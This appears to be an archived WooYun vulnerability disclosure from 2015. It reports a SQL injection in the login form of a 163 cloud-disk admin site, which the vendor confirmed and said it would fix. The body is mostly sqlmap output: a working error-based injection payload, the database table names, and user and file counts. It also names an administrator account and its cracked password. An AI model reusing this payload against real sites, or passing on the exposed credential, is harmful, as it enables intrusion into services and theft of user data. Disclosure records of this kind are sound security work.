乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-02: 细节已通知厂商并且等待厂商处理中 2015-08-06: 厂商已经确认,细节仅向厂商公开 2015-08-16: 细节向核心白帽子及相关领域专家公开 2015-08-26: 细节向普通白帽子公开 2015-09-05: 细节向实习白帽子公开 2015-09-20: 细节向公众公开
163网盘某站post注入泄露50万用户信息+200万用户文件
站点:http://admin.houtai.163disk.com/index.php登陆框username参数存在注入
sqlmap identified the following injection points with a total of 96 HTTP(s) requests:---Place: POSTParameter: username Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: username=admin' AND (SELECT 2388 FROM(SELECT COUNT(*),CONCAT(0x716e616271,(SELECT (CASE WHEN (2388=2388) THEN 1 ELSE 0 END)),0x7177656271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOFa'='MOFa&password=admin&seccode=xwvv&submit=%B5%C7 %C2%BC---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17back-end DBMS: MySQL 5.0available databases [2]:[*] 163diskcom[*] information_schemasqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: POSTParameter: username Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: username=admin' AND (SELECT 2388 FROM(SELECT COUNT(*),CONCAT(0x716e616271,(SELECT (CASE WHEN (2388=2388) THEN 1 ELSE 0 END)),0x7177656271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOFa'='MOFa&password=admin&seccode=xwvv&submit=%B5%C7 %C2%BC---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17back-end DBMS: MySQL 5.0Database: 163diskcom[21 tables]+---------------------+| disk_all_admin || disk_all_adminlog || disk_all_album || disk_all_badword || disk_all_config || disk_all_help || disk_all_hotso || disk_all_links || disk_all_list || disk_all_notice || disk_all_server || disk_all_smtp || disk_user_disk || disk_user_feedback || disk_user_file || disk_user_filebody || disk_user_filecount || disk_user_folder || disk_user_info || disk_user_login || disk_user_msg |+---------------------+Database: 163diskcom+---------------------+---------+| Table | Entries |+---------------------+---------+| disk_user_filecount | 2025746 || disk_user_filebody | 2025700 || disk_user_file | 2025639 | 文件表| disk_user_disk | 522093 | 用户表| disk_user_info | 522036 || disk_user_login | 144237 || disk_user_folder | 74119 || disk_user_msg | 71211 || disk_user_feedback | 16169 || disk_all_adminlog | 1549 || disk_all_badword | 1231 || disk_all_album | 136 || disk_all_links | 110 || disk_all_notice | 14 || disk_all_server | 10 || disk_all_hotso | 8 || disk_all_list | 8 || disk_all_smtp | 6 || disk_all_admin | 3 | 管理表| disk_all_config | 1 |+---------------------+---------+
获取管理员wangming 解密wang_2014 登陆后台
过滤
危害等级:中
漏洞Rank:10
确认时间:2015-08-06 21:12
感谢路人甲同学的关注与贡献!马上修补!
暂无